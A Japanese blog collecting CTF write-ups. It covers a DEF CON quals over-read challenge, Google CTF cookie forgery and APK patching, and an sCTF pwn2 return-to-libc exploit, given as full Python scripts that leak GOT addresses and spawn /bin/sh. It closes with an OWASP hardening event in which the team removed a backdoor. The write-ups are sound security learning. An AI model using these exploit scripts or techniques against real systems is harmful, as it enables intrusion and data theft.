0x0000000000400fd1 で open できたら 0x0000000000400fe7 に飛んでいて,
open に失敗したら 0x487deb = "Could not open the flag." を出力して終了している.
0x0000000000400fe7 の飛び先では,フラグの内容を 0x6b7540 に読み込んでいる.
その後,fgetln があって,ユーザの入力を取っていて,続いて strtok を呼んでいる.

   0x000000000040101f <+193>:  mov    QWORD PTR [rbp-0x20],rax
   0x0000000000401023 <+197>: mov    rax,QWORD PTR [rbp-0x20]
   0x0000000000401027 <+201>: mov    esi,0x487e04
   0x000000000040102c <+206>: mov    rdi,rax
   0x000000000040102f <+209>: mov    eax,0x0
   0x0000000000401034 <+214>: call   0x4196a0 <strtok>
   0x0000000000401039 <+219>: cdqe
   0x000000000040103b <+221>: mov    QWORD PTR [rbp-0x28],rax
   0x000000000040103f <+225>: mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000401043 <+229>: mov    esi,0x487e06
   0x0000000000401048 <+234>: mov    rdi,rax
   0x000000000040104b <+237>: call   0x4002d0
   0x0000000000401050 <+242>: test   eax,eax
   0x0000000000401052 <+244>: je     0x401068 <main+266>

入力文字列を 0x487e04 = "?" を使って token を分割していて,
分割して結果を 0x487e06 = "SERVER, ARE YOU STILL THERE" と比較していて一致しないなら終了する,
という感じっぽい( 0x4002d0 を詳しく読んでないが動作的にはそうっぽかった).
ということは,入力としてはこの時点で SERVER, ARE YOU STILL THERE? が必要.
同様に同じような処理が続いて,文字列を組み立てていくと,
SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (6 LETTERS) 的な文章になる.
# REPLY" の間にスペースがなくて随分はまっていたがチームメンバーが気づいてくれた.

これだけでは,何も意味がなくてどうやって flag を取得するか,という部分で随分悩んだ.
4コマのように,6 LETTERS としている部分を " で囲んだ文字列より長いものを入れてみても,

$ ./xkcd
SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (100 LETTERS)
NICE TRY

となり,終了してしまいリークできない.
実際に逆汗結果を読んでみると,

   0x0000000000401145 <+487>:  mov    edi,0x6b7340
   0x000000000040114a <+492>: call   0x417280 <strlen>
   0x000000000040114f <+497>: cmp    rbx,rax
   0x0000000000401152 <+500>: jbe    0x401168 <main+522>
   0x0000000000401154 <+502>: mov    edi,0x487e54
   0x0000000000401159 <+507>: call   0x408260 <puts>
   0x000000000040115e <+512>: mov    edi,0xffffffff
   0x0000000000401163 <+517>: call   0x406c40 <exit>
   0x0000000000401168 <+522>: mov    edi,0x6b7340
   0x000000000040116d <+527>: call   0x408260 <puts>

となっていて 0x6b7340" で囲まれた部分の文字列が memcpy されていて, その文字列の長さを strlen していて, rbx と比較し,より小さく or 等しければ,
その文字列を表示して再度入力待ちし,そうでなければ NICE TRY を出力して終了する.
ここでの rbx は, %d LETTERS" で sscanf した結果が入ってる.
つまり, (100 LETTERS) のときは, rbx = 100 となっている.

全然わからん,となっていたがなんで memcpy しているんだろう? と思ってそのあたりを読み進めていると,

   0x00000000004010ba <+348>:  call   0x4196a0 <strtok>
   0x00000000004010bf <+353>: cdqe
   0x00000000004010c1 <+355>: mov    QWORD PTR [rbp-0x28],rax
   0x00000000004010c5 <+359>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004010c9 <+363>: mov    rdi,rax
   0x00000000004010cc <+366>: call   0x417280 <strlen>
   0x00000000004010d1 <+371>: mov    rdx,rax
   0x00000000004010d4 <+374>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004010d8 <+378>: mov    rsi,rax
   0x00000000004010db <+381>: mov    edi,0x6b7340
   0x00000000004010e0 <+386>: call   0x41fce0 <memcpy>

" で囲まれている範囲の文字をとってきて, strlen で長さを調べ,0x6b7340 に memcpy している.
0x7b7340 ってなんぞ? っとなって readelf -s してみた.

$ readelf -s ./xkcd | grep 6b7340
  1807: 00000000006b7340   768 OBJECT  GLOBAL DEFAULT   24 globals

グローバル変数っぽい.なんか同じようなアドレスをどっかでみたような…?

   0x0000000000400fb9 <+91>:   mov    esi,0x487de4
   0x0000000000400fbe <+96>:  mov    edi,0x487de6
   0x0000000000400fc3 <+101>: call   0x407d80 <fopen64>
   0x0000000000400fc8 <+106>: mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400fcc <+110>: cmp    QWORD PTR [rbp-0x18],0x0
   0x0000000000400fd1 <+115>: jne    0x400fe7 <main+137>
   0x0000000000400fd3 <+117>: mov    edi,0x487deb
   0x0000000000400fd8 <+122>: call   0x408260 <puts>
   0x0000000000400fdd <+127>: mov    eax,0xffffffff
   0x0000000000400fe2 <+132>: jmp    0x401177 <main+537>
   0x0000000000400fe7 <+137>: mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400feb <+141>: mov    rcx,rax
   0x0000000000400fee <+144>: mov    edx,0x100
   0x0000000000400ff3 <+149>: mov    esi,0x1
   0x0000000000400ff8 <+154>: mov    edi,0x6b7540
   0x0000000000400ffd <+159>: call   0x407d90 <fread>

フラグが入ってるのが, 0x6b7540 で, memcpy で入力した文字列が入ってるのが 0x6b7340
memcpy は末尾に \0 を付与しないので, 512 byte 書き込んだらフラグと文字が繋がるのでは? # ボケてたのかチームチャットでは 320 byte とかいってしまい, 512 byte だろ,って突っ込まれたw というわけでローカルで " でくくられている範囲に 512 文字いれて,
LETTERS の部分は 自分が書いたフラグの長さである 7文字たして 519 文字としてみると…,

$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (519 LETTERS)"' | ./xkcd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyharima
セグメンテーション違反です

キター!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
サーバに対して適当に文字数をいじりながらやってみると…

$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (540 LETTERS)"' | nc xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me 1354
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAThe flag is: bl33ding h34rt5

というわけで, bl33ding h34rt5 がフラグとして取れた!

上記のような考察を書いて 320byte だとかいって検証している間に,
メンバーに先にフラグを奪取されたのはいい思い出. f:id:yharima:20160523232605p:plain

Google CTF writeup

Google CTF

いつもの如く yharima チームで参加.
700 pts で 145 位だった.クソ難しかったという印象.
とりあえず自分が解いたやつを書きます.

In Recorded Conversation (25pts)

とりあえず落としてきた pcap を strings してみると,
IRC のログっぽい.適当にスクロールしているとフラグっぽい文字列が分割されてあったので,
順番に結合して投げただけ.

Ernst Echidna (50pts)

Web サイトをハッキングしてくれ,的な問題.
とりあえず適当に register してみてもよくわからない.
問題文に robots.txt みると良い的なことが書いてあるのでみると,
/admin が disallow されていた.
適当にログインしてアクセスしてみると

Sorry, this interface is restricted to administrators only

admin ユーザを作ってログインすれば良いのかと思い,
register してみると,

'admin' account already taken!

でダメ.

SQLi とかなんだろうかと思ったが,
一度自分が作ったアカウントで再度 register しても admin と同様のエラーにはならず,
普通にアカウントが作成できる.
ということは,アカウントの管理はしていないのではないか,と推測.
クッキーでも見てみるか,と思いみてみると md5-hash だと書いてある.
これは,ユーザ名の MD5 じゃないのかと思いとりあえず作ったユーザ名の MD5 をとってみると一致.
adminMD5 をとってクッキー差し替えて admin にアクセスしたらフラグが取れた.

Ill Intentions (150pts)

もっとスマートな解法があるので参考にしないことをおすすめします.

6時間くらい戦ってようやく解けた問題.解けたときはとても達成感と共に徒労感に襲われた.

apk がくるならとりあえず中身のソースコードを読んでみたくなるので,
以下の手順とツールデコンパイルして読んだ.

  • apk を unzip
  • dex2jar で class.dex を jar に変換
    • ./d2j-jar2dex.sh classes.dex
  • CFR で jar を ソースコードに変換
    • java -jar cfr_0_115.jar classes-dex2jar.jar --outputdir src

ざっとデコンパイルしたソースコードを読むと,
ブロードキャストすることでインテントが切り替わって,
切り替わったインテントでクリックすると native で書かれた関数を経由して,
なんらかの文字列(おそらくフラグ)を吐き出しているらしい,ということがわかった.

フラグを生成している部分の元の文字列は,リソースなどを追うとわかる.
ということは,頑張れば静的解析だけでなんとかなるんじゃないかと思い,
native で書かれた関数の実体である libhello-jni.so をみてみたが,
ちょっと解析する氣にはなれず動かしたいという方向に振れる.

ここから最高に迷走し始めるが,最終的には簡単にまとめると以下のように解いた.

1. apk を展開する
2. 展開した apk の AndroidManifest.xml を修正して指定したインテントを起動時に開くようにする
3. 展開した apk 内にあるコード(.smali)を弄ってフラグの変数を System.out.println するようにする
4. apk を再構築して適当に署名する
5. hack した apk をエミュで起動して ddms でログを監視する

もうゴリ押し以上の何者でもないという感じ(チームメンバーがほかの人の writeup を読んだ後にそう言われた).

まず apk の展開と再構築には apktool を使った.
どうやら wrapper script もある優しい仕様なので jar と一緒のディレクトリに転がして +x しておく.
展開自体は以下のコマンドで簡単にできる.

$ ./apktool d illintentions.apk

展開するとディレクトリが生成され,直下に AndroidManifest.xml がある.
現在は,起動時に MainActivity が起動するようになっているので,
MainActivityIsThisTheRealOne を入れ替えて IsThisTheRealOne を起動するようにする.
このとき android:labelandroid:name のどちらも入れ替えておいた(name だけでも良いかもしれない). これで, apk を再構築してインストールすると IsThisTheRealOne が起動するようになる.

これだけでは不十分なので, IsThisTheRealOne インテントの画面でクリックした際に,
System.out.println でフラグと思われる文字列を出力するようにする.
これは,展開した apk のディレクトリ内にある中間コード形式で保存されている smali を編集する.
smali/com/example/application/IsThisTheRealOne\$1.smali を開いて以下のように編集した.

@@ -144,9 +144,12 @@
     .line 34
     iget-object v5, p0, Lcom/example/application/IsThisTheRealOne$1;->this$0:Lcom/example/application/IsThisTheRealOne;

-    const-string v6, "ctf.permission._MSG"
+    const-string v9, "ctf.permission._MSG"

-    invoke-virtual {v5, v3, v6}, Lcom/example/application/IsThisTheRealOne;->sendBroadcast(Landroid/content/Intent;Ljava/lang/String;)V
+    invoke-virtual {v5, v3, v9}, Lcom/example/application/IsThisTheRealOne;->sendBroadcast(Landroid/content/Intent;Ljava/lang/String;)V
+
+    sget-object v8, Ljava/lang/System;->out:Ljava/io/PrintStream;
+    invoke-virtual {v8, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V

     .line 35
     return-void

const-string v6 は変数を表していて,もともとは "ctf.permission._MSG" が代入されている.
この v6 は元々出力したい文字列(フラグ)が代入されていて上書きされてしまっているので,v9 に変数名を変えておく.
後続の invoke-virtual {v5, v3, v6}メソッド呼び出しになっていて,
{v5, v3, v6} は引数部分になっている(呼び出し方は色々あり,第一引数に this のオブジェクトが必要,といった形式もあるので注意).
v6 は先ほど v9 に変えたので変更しておく.
続いて, sget-object v8, Ljava/lang/System;->out:Ljava/io/PrintStream; で System.out.println を実行する準備をする.
次の行で invoke-virtual {v8, v6} として, v6 を出力するようにしている.

以上の編集が終われば, apktool を使って再構築する.
再構築するコマンドは以下.

$ ./apktool b illintentions

これで展開していたディレクトリ直下に /dist ディレクトリが出来て,
その中に再構築された apk ができる.

しかし,このままエミュレータにはインストールできないので署名をする.

$ jarsigner -verbose -signedjar signed_illintentions.apk -keystore ~/.android/debug.keystore illintentions.apk androiddebugkey

keystore は androidSDK をインストールされると生成されるらしく,それを用いた.
パスワードは android なので上記実行後に求められるので入力する.

以上で,エミュレータで起動する準備は完了.
エミュレータを起動して adb を使って apk を転送する.
加えて, SDK ツールのどこかにログツールである ddms を起動しておく.

f:id:yharima:20160505003929p:plain

f:id:yharima:20160505003944p:plain

ddms にフラグが無事でました.

何問か相談したり,途中まで書いたコードから解いてくれたチームメンバーのブログを置いておきます.

Google Capture The Flag writeup | にろきのメモ帳

sCTF 2016 Q1 writeup

sCTF 2016 Q1

いつものチームで参加.
自分は時間も取れなかったこともあるけど問題も全然解けなかった….
復習として pwn2 を解いたのでその writeup を書いておく.

pwn2

接続しにいくと

How many bytes do you want me to read?

と,何バイト入力するかを聞いてくる.
任意のバイト数を入力できるわけではなく,

 8048541:    c7 44 24 04 04 00 00    mov    DWORD PTR [esp+0x4],0x4
 8048548:   00
 8048549:   8d 45 d4                lea    eax,[ebp-0x2c]
 804854c:   89 04 24                mov    DWORD PTR [esp],eax
 804854f:   e8 8f ff ff ff          call   80484e3 <get_n>
 8048554:   8d 45 d4                lea    eax,[ebp-0x2c]
 8048557:   89 04 24                mov    DWORD PTR [esp],eax
 804855a:   e8 61 fe ff ff          call   80483c0 <atoi@plt>
 804855f:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048562:   83 7d f4 20             cmp    DWORD PTR [ebp-0xc],0x20 # <=
 8048566:   7e 15                   jle    804857d <vuln+0x4e>

といったように 32 byte までしか入力できない.
追っていったところ負数を与えると 32 byte 以上入力できることがわかった.

How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!

ここまでくれば,後はスタックオーバーフローを利用する.
ただ,以下のように DEP が有効になっておりスタック上にシェルコード置いても実行することができない.

   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rw-

色々迷走した結果, Return-to-libc で DEP を回避し shell を起動した.

まず Return-to-libc するにあたり, libc のバージョンを特定しなければならない.
GOT にある関数のアドレスをリークすることができれば,
libcdb にアドレスを入れて検索することができる.

printf@plt のアドレスはわかっているので,スタックオーバーフローを利用して, 戻りアドレスを printf@plt にしてうまくスタックを積んであげれば任意のメモリの内容を参照することができる.
例えば,以下のようにスタックを積む.

----------------------------------
printf@plt のアドレス # 元は vuln 関数呼び出し元のアドレス部分
----------------------------------
printf@plt 実行後の戻りアドレス
----------------------------------
printf 実行時の書式文字列
----------------------------------
書式文字列で表示する内容のアドレス
----------------------------------

printf@plt のアドレスは objudmp するとすぐに見つかる.

$ objdump -M intel -d pwn2 | grep "printf@plt"
08048360 <printf@plt-0x10>:
08048370 <printf@plt>:

次に積む戻りアドレスはとりあえず今はなんでも良いことにして,"AAAA" など適当に積んでおく.
printf 実行時の書式文字列は,プログラム内に存在するものを拝借することにする.
具体的に言えば,以下の "You said: %s" を利用する.

(gdb) x/s 0x80486f8
0x80486f8:   "You said: %s\n"

そして最後のリークさせたアドレスは GOT にある関数のアドレスで, これは printf@plt の1行目を見ると 0x804a00c だということがわかる.

08048370 <printf@plt>:
 8048370:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048376:   68 00 00 00 00          push   0x0
 804837b:   e9 e0 ff ff ff          jmp    8048360 <_init+0x24>

以上をまとめると,構成するスタックは以下となる.

---------------------------------------------------
0x08048370 # printf@plt
---------------------------------------------------
0x41414141 # AAAA(戻りアドレス)
---------------------------------------------------
0x080486f8 # "You said: %s\n"
---------------------------------------------------
0x0804a00c # printf@plt が読んでいる got のアドレス
---------------------------------------------------

とりあえず,これらをまとめて以下のようなスクリプトを書いて実行する.

import socket
import struct

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problems2.2016q1.sctf.io', 1338))

# R:How many bytes do you want me to read?
msg = s.recv(1024)
# S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = 'A' * 48
# printf@plt address
buf += p(0x8048370)
# return address(unused)
buf += 'AAAA'
# 'You said "%s"' address
buf += p(0x80486f8)
# printf@got
buf += p(0x804a00c)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
msg = s.recv(1024)

# R: You said: ???
msg = s.recv(1024).strip()
print msg.encode('hex')

これを実行すると…

$ python pwn2_leak.py
596f7520736169643a20800266b7a0a467b79683040890c962b7308d67b7604864b7

これだけではわけがわからないので部分ごとに切り分ける.

596f7520736169643a20 # "You said: "
800266b7
a0a467b7
96830408
90c962b7
308d67b7
604864b7

当初自分の予想は, "You said: " の後に 4 byte のアドレスが出力されるのだろう,
と思っていたら 4 byte のアドレスが 6個もでてきてわけがわからなかった.
よくよく考えてみると, 出力は指定した先頭アドレスから "\0" が現れるまで出力されてしまうので,
はじめの "800266b7" は printf@got のアドレスだろうと予測できる(リトルエンディアン形式になっていることに注意).
では残りのアドレスはなんだろうと思って plt 周りを読んでみると,

08048370 <printf@plt>:
 8048370:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048376:   68 00 00 00 00          push   0x0
 804837b:   e9 e0 ff ff ff          jmp    8048360 <_init+0x24>

08048380 <getchar@plt>:
 8048380:   ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 8048386:   68 08 00 00 00          push   0x8
 804838b:   e9 d0 ff ff ff          jmp    8048360 <_init+0x24>

08048390 <__gmon_start__@plt>:
 8048390:   ff 25 14 a0 04 08       jmp    DWORD PTR ds:0x804a014
 8048396:   68 10 00 00 00          push   0x10
 804839b:   e9 c0 ff ff ff          jmp    8048360 <_init+0x24>

080483a0 <__libc_start_main@plt>:
 80483a0:   ff 25 18 a0 04 08       jmp    DWORD PTR ds:0x804a018
 80483a6:   68 18 00 00 00          push   0x18
 80483ab:   e9 b0 ff ff ff          jmp    8048360 <_init+0x24>

080483b0 <setvbuf@plt>:
 80483b0:   ff 25 1c a0 04 08       jmp    DWORD PTR ds:0x804a01c
 80483b6:   68 20 00 00 00          push   0x20
 80483bb:   e9 a0 ff ff ff          jmp    8048360 <_init+0x24>

080483c0 <atoi@plt>:
 80483c0:   ff 25 20 a0 04 08       jmp    DWORD PTR ds:0x804a020
 80483c6:   68 28 00 00 00          push   0x28
 80483cb:   e9 90 ff ff ff          jmp    8048360 <_init+0x24>

となっており,指定したアドレス "0x804a00c" の後続は,
getchar@plt が呼び出している "0x804a010" であり,
その後も 4byte 刻みで,各 plt が呼び出しているアドレスだとわかった. つまり先ほどの出力結果は,

596f7520736169643a20 # "You said: "
800266b7 # printf@got
a0a467b7 # getchar@got
96830408 # __gmon_start__@got
90c962b7 # __libc_start_main@got
308d67b7 # setvbuf@plt
604864b7 # atoi@got

といった感じになる.
シンボル名とアドレスがそれぞれわかったので, libcdb に,
"__libc_start_main@got" と "printf@got" のアドレスを入力すると,

f:id:yharima:20160429213639p:plain

libc のバージョンが特定できた.
# ASLR 有効でも末尾 12 bit のアドレスはランダムにならず一定になることから特定できるらしい.
このサイトは該当の libc のベースアドレスからみた各関数の位置が載っている.
そのためリークした関数のアドレスから libc のベースアドレスを求めることができる.
例えば, atoi だと今回リークしたアドレスは "0xb7644860" で,

atoi
    libc_base + 0x00031860 

"0xb7644860" - "0x00031860" が libc のベースアドレスになる.

ここまでくれば後は単純で,
libc の中にある system 関数のアドレスと "/bin/sh\0" のアドレスを,
libcdb から探して libc のベースアドレスを加算しておく.
後はスタックを以下のように積むとシェルが起動するはず.

----------------------------------
system 関数のアドレス
----------------------------------
戻りアドレス(なんでもいい)
----------------------------------
"/bin/sh\0" へのアドレス
----------------------------------

というわけで, exploit のコードを書いてみる.

import socket
import struct

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problems2.2016q1.sctf.io', 1338))

libc_base = 0xb7644860 - 0x00031860
system_addr = libc_base + 0x00040190
bin_sh_addr = libc_base + 0x00160a24

# R:How many bytes do you want me to read?
msg = s.recv(1024)
# S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = "A" * 48
# system
buf += p(system_addr)
# return address(unused)
buf += "AAAA"
# /bin/sh addr
buf += p(bin_sh_addr)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
s.recv(1024)

print "$ ls -l"
s.send("ls -l\n")
print s.recv(1024)

実行する.

$ python exploit.py
$ ls -l

あれ…?
よくよく考えると ASLR が有効になっているので libc のベースアドレスは毎回変動してしまう.
32 bit であればパターンが多くないのでそのうちヒットしそうだが,時間はかかるし美しくない.
どうにかならないものかと考えたところ,最初に libc のベースアドレスを求めるために got をリークするときに積んだスタックは,

---------------------------------------------------
0x08048370 # printf@plt
---------------------------------------------------
0x41414141 # AAAA(戻りアドレス)
---------------------------------------------------
0x080486f8 # "You said: %s\n"
---------------------------------------------------
0x0804a00c # printf@plt が読んでいる got のアドレス
---------------------------------------------------

となっていて,戻りアドレスが適当になっている.
この戻りアドレスを vuln() 関数のアドレスにすると,
ここでリークさせたアドレスと同じ状態で,
再度同じスタックオーバーフローが実現できるので,
ASLR 影響を回避することができる.

最終的に書いたコードは以下.

import socket
import struct

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problems2.2016q1.sctf.io', 1338))

# R:How many bytes do you want me to read?
msg = s.recv(1024)
# S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = 'A' * 48
# printf@plt address
buf += p(0x8048370)
# return address(vuln())
buf += p(0x804852f)
# 'You said "%s"' address
buf += p(0x80486f8)
# printf@got
buf += p(0x804a00c)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
msg = s.recv(1024)

# R: You said: (printf@got,getchar@got,... addrres)
msg = s.recv(1024).strip()
print "printf@got: " + hex(u(msg[10:14]))
print "getchar@got: " + hex(u(msg[14:18]))
print "__gmon_start__@got: " + hex(u(msg[18:22]))
print "__libc_start_main@got: " + hex(u(msg[22:26]))
print "setvbuf@got: " + hex(u(msg[26:30]))
print "atoi@got: " + hex(u(msg[30:34]))
print "=" * 30

# search: http://libcdb.com/
# result: http://libcdb.com/libc/92
# atoi: libc_base + 0x00031860
libc_base = u(msg[30:34]) - 0x00031860
system_addr = libc_base + 0x00040190
bin_sh_addr = libc_base + 0x00160a24
print "libc_base addr: " + hex(libc_base)
print "system addr" + hex(system_addr)
print "/bin/sh addr: " + hex(bin_sh_addr)
print "=" * 30

## S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = "A" * 48
# system
buf += p(system_addr)
# return address(unused)
buf += "AAAA"
# /bin/sh addr
buf += p(bin_sh_addr)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
msg = s.recv(1024)

print "$ ls -l"
s.send("ls -l\n")
print s.recv(1024)

print "$ cat flag.txt"
s.send("cat flag.txt\n")
print s.recv(1024)

実行すると,

$ python pwn2_exploit.py
printf@got: 0xb7630280
getchar@got: 0xb764a4a0
__gmon_start__@got: 0x8048396
__libc_start_main@got: 0xb75fc990
setvbuf@got: 0xb7648d30
atoi@got: 0xb7614860
==============================
libc_base addr: 0xb75e3000
system addr0xb7623190
/bin/sh addr: 0xb7743a24
==============================
$ ls -l
total 12
-r--r----- 1 root pwn2   24 Apr  7 23:08 flag.txt
-r-xr-x--- 1 root pwn2 7553 Apr  9 01:16 pwn2

$ cat flag.txt
sctf{r0p_70_th3_f1n1sh}

フラグ sctf{r0p_70_th3_f1n1sh} をとれた.

OWASP DAY 2016 Spring MINI Hardening writeup(?)

同期から教えてもらって Hardening に参加できたらいいなー,
と思ってポチったら無事当選でき参加してきた.

チーム

4人1チームだったのだけれど,1人は最初からメールの返信もなく,当日も現れなかった….
偶然なのか何なのか同じ会社の人もチームメンバーでとても驚いた.

シナリオ

与えられたシナリオは簡単にはざっと以下のような感じ(足りないとこもありそう).

  • LAMP 環境の Web サイトが与えられる
  • Web サイトは Wordpress で構築されている
  • FTP を使ってサイトのファイルを更新している
  • IT 担当のアカウントが3つ転がっている
  • 競技者は unyou アカウント or 自分で作ったアカウントを利用する

採点は, ftp や http などが上がってるかどうかで(全部で4つあった),
前のスクリーンに映しだされていたが,小さくてよく見えなかった.
とりあえず自分のチームの位置をチームメンバーの人に教えてもらったので,
赤いものを青くするように頑張る感じ.

競技内容

何も考えず始まった瞬間に yum update をかけるも,
ミラーサーバにつながらない.そういう話ではないのか,と理解した.

それならとりあえず怪しいプロセスはいないかと思って, ps aux してみたけど,
そんな変なプロセスが変なユーザで常時動いてる,という感じではなさそうだった.

cron で怪しいものとか動かしてないかなー,とか思って sudo crontab -l してみると,
なんか 5分ごとに動いている healthcheck があった.
中身をみてみると難読化された python のコードでどうみても怪しいので,
とりあえず該当の cron をコメントアウトして動かないようにした.

次に, /var/log 以下を適当に漁ってみたけど,色々ありすぎてとっかかりが見つからない.
ただ, /var/log/secure を眺めてると過去に大量ログインに失敗しているログがあって,
攻撃を受けていた,ということがわかった.

侵入されている可能性もありそうで,とりあえずユーザ一覧を眺めようと思って,
/etc/passwd を見てみると, vnyou とかいうどうみても怪しいやつがいた.
id vnyou してみると root 権限をもっているしこいつはダメだということになり,
チームメンバーに通報して vnyou ユーザを抹殺.

とっかかりが見えたので, /var/log 以下を vnyougrep してみると,

  • IT 担当のアカウントのうち ken が割られて vnyou を追加している
  • ftpchroot_list(だったっけ?)に vnyou を追記している
  • www 以下に .test みたいなディレクトリを掘って怪しいファイルを設置している(2箇所)
  • (既に止めていた) healthcheck ファイルを配置している

と,侵入されてからやられていることはこんな感じだった.
とりあえず, chroot_list から vnyou を削除.
www 以下に置かれた怪しいファイルを見てみると難読化されていてさっぱり読めなかったが,
どうみても怪しいので,2ファイルとも削除.
cron で叩いてる healthcheck は最初に止めたので,
これで ken が割られて怪しいことをされたところは一通りなんとかできた.

スコアボードを見てみるとどうやらまだ ftp が赤く,
チームメンバーと色々相談したり,運用ルールを見ながら変なところを探して,
設定を色々変えてみたけど青くならず.

みんなで, ftp と戦っているうちに運営からみんな攻撃にさらされてますよ!!!
的なアナウンスがあって,マジで!? と思ってスコアボードをみてみると,
他のチームは全部赤くなったりしていたけど,うちは特に変わらず ftp だけ赤い.
さっき消したバックドア周りから攻撃されたっぽいようでうちは大丈夫だった.

その後,チームメンバーとずっと ftp と戦ってたけどさっぱりわからんかった.

最後の数分で突然運営から,みんなよく出来ていて面白くないので突発的に攻撃します!!!
と言われて,攻撃を受けると httpd が刺さって死亡.
刺さってる httpd はどうしようもないので,とりあえず restart かけてあげた.
そんなこんなで,競技終了.

最後の攻撃は,アクセスログから推測するに, slow request 的な攻撃を受けたっぽかった.
httpd はノーチューニングなのでどうしようもなかった.

反省点

  • あまりチームの連携がうまくとれてなかった
  • 最後まで port forward をやらなかったので運用しているページを見たことがなかった
  • ftp はまりすぎ

色々ありそうだけど,パっと思いついたのはこんな感じ.

感想

思った以上に時間は早く過ぎていって,もっと色々やりたかったな,というところがあった.
とはいえ,こういう競技に参加するのは初めてだったので非常に新鮮でかつ楽しめた.
攻撃に晒されるというのは,大変だった.

今回はとっかかりを掴めば,
結構対策できたのでそういったところはうまく立ち回れたのかな?(だったらいいな)

ただし ftp 周りはさっぱりわからんかったのでよろしくない….反省.

普段の業務では守る側,というほどではない(社内からしかアクセスできないツールしか作ってない)ので,
CTF とは違った楽しみがありつつも,守る側が一番大変ということを実感できた.

本家の8時間のほうも参加できるならしてみたいな,と思いました.

おまけ(追記)

チームメンバーの方が書かれた writeup では,
この writeup の足りない部分(システム構成や動作させている Web サイトなど)が書かれています.

kanpapa.com